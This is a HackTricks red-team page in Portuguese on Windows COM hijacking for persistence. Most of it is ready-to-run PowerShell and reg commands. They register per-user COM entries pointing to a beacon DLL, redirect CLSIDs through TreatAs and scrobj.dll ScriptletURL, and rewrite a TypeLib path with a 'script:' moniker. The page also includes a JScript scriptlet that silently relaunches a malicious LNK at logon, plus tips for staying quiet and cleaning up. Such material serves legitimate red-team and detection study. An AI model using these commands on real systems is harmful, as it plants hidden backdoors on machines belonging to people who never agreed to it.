COM Hijacking

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Procurando componentes COM inexistentes

Como os valores de HKCU podem ser modificados pelos usuários, COM Hijacking poderia ser usado como um persistence mechanism. Usando procmon é fácil encontrar chaves de registro COM pesquisadas que ainda não existem e que poderiam ser criadas por um atacante. Filtros clássicos:

  • operações RegOpenKey.
  • onde o Result é NAME NOT FOUND.
  • e o Path termina com InprocServer32.

Variações úteis durante a busca:

  • Também procure por chaves LocalServer32 ausentes. Algumas classes COM são servidores out-of-process e vão lançar um EXE controlado pelo atacante em vez de uma DLL.
  • Busque por operações de registro TreatAs e ScriptletURL além de InprocServer32. Conteúdo recente de detecção e writeups de malware continuam chamando atenção para esses porque são muito mais raros do que registros COM normais e, portanto, de alto sinal.
  • Copie o legítimo ThreadingModel do original HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32 ao clonar um registro para HKCU. Usar o modelo errado frequentemente quebra a ativação e torna o hijack barulhento.
  • Em sistemas 64-bit inspecione tanto as visões 64-bit quanto 32-bit (procmon.exe vs procmon64.exe, HKLM\Software\Classes e HKLM\Software\Classes\WOW6432Node) porque aplicações 32-bit podem resolver um registro COM diferente.

Uma vez que você tenha decidido qual COM inexistente personificar, execute os comandos a seguir. Tenha cuidado se decidir personificar um COM que é carregado a cada poucos segundos, pois isso pode ser excessivo.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Componentes COM do Task Scheduler que podem ser sequestrados

As Windows Tasks usam Custom Triggers para chamar COM objects e, por serem executadas através do Task Scheduler, é mais fácil prever quando serão acionadas.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

Analisando a saída, você pode selecionar uma que, por exemplo, será executada toda vez que um usuário fizer logon.

Ao procurar o CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} em HKEY\CLASSES\ROOT\CLSID e em HKLM e HKCU, você normalmente verá que o valor não existe em HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Então, você pode simplesmente criar a entrada HKCU e, toda vez que o usuário fizer logon, seu backdoor será disparado.


COM TreatAs Hijacking + ScriptletURL

TreatAs permite que um CLSID seja emulado por outro. Do ponto de vista ofensivo isso significa que você pode deixar o CLSID original intacto, criar um segundo CLSID por usuário que aponte para scrobj.dll, e então redirecionar o objeto COM real para o malicioso com HKCU\Software\Classes\CLSID\{Victim}\TreatAs.

Isso é útil quando:

  • o aplicativo alvo já instancia um CLSID estável no logon ou na inicialização do app
  • você quer um redirecionamento apenas no registro em vez de substituir o InprocServer32 original
  • você quer executar um scriptlet .sct local ou remoto através do valor ScriptletURL

Exemplo de fluxo de trabalho (adaptado do tradecraft público do Atomic Red Team e de pesquisas mais antigas sobre abuso do registro COM):

:: 1. Create a malicious per-user COM class backed by scrobj.dll
reg add "HKCU\Software\Classes\AtomicTest" /ve /t REG_SZ /d "AtomicTest" /f
reg add "HKCU\Software\Classes\AtomicTest\CLSID" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /t REG_SZ /d "AtomicTest" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\System32\scrobj.dll" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add "HKCU\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /t REG_SZ /d "file:///C:/ProgramData/atomic.sct" /f

:: 2. Redirect a high-frequency CLSID to the malicious class
reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

Notas:

  • scrobj.dll lê o valor ScriptletURL e executa o .sct referenciado, então você pode manter o payload como um arquivo local ou buscá-lo remotamente via HTTP/HTTPS.
  • TreatAs é especialmente útil quando o registro COM original está completo e estável em HKLM, porque você precisa apenas de um pequeno redirecionamento per-user em vez de espelhar toda a árvore.
  • Para validação sem esperar pelo gatilho natural, você pode instanciar manualmente o ProgID/CLSID falso com rundll32.exe -sta <ProgID-or-CLSID> se a classe alvo suportar ativação STA.

COM TypeLib Hijacking (script: moniker persistence)

Type Libraries (TypeLib) definem interfaces COM e são carregadas via LoadTypeLib(). Quando um servidor COM é instanciado, o OS também pode carregar o TypeLib associado consultando chaves de registro sob HKCR\TypeLib\{LIBID}. Se o caminho do TypeLib for substituído por um moniker, e.g. script:C:\...\evil.sct, o Windows executará o scriptlet quando o TypeLib for resolvido — gerando uma persistência discreta que é acionada quando componentes comuns são acessados.

Isso foi observado contra o Microsoft Web Browser control (frequentemente carregado pelo Internet Explorer, apps embedding WebBrowser, e até mesmo explorer.exe).

Passos (PowerShell)

  1. Identifique o TypeLib (LIBID) usado por um CLSID de alta frequência. Exemplo de CLSID frequentemente abusado por malware chains: {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} (Microsoft Web Browser).
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid  LIBID=$libid  VER=$ver"
  1. Aponte o caminho TypeLib por usuário para um scriptlet local usando o moniker script: (não são necessários privilégios de administrador):
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
  1. Drop um .sct JScript mínimo que reexecute o seu payload principal (por exemplo, um .lnk usado pela cadeia inicial):
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
  1. Ativação – abrir o IE, uma aplicação que incorpora o WebBrowser control, ou mesmo a atividade rotineira do Explorer irá carregar a TypeLib e executar o scriptlet, rearmando sua cadeia no logon/reboot.

Limpeza

# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null

Notas

  • Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o LIBID real a partir de HKCR\CLSID\{CLSID}\TypeLib primeiro.
  • Em sistemas 64-bit você também pode preencher a subchave win64 para consumidores 64-bit.

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks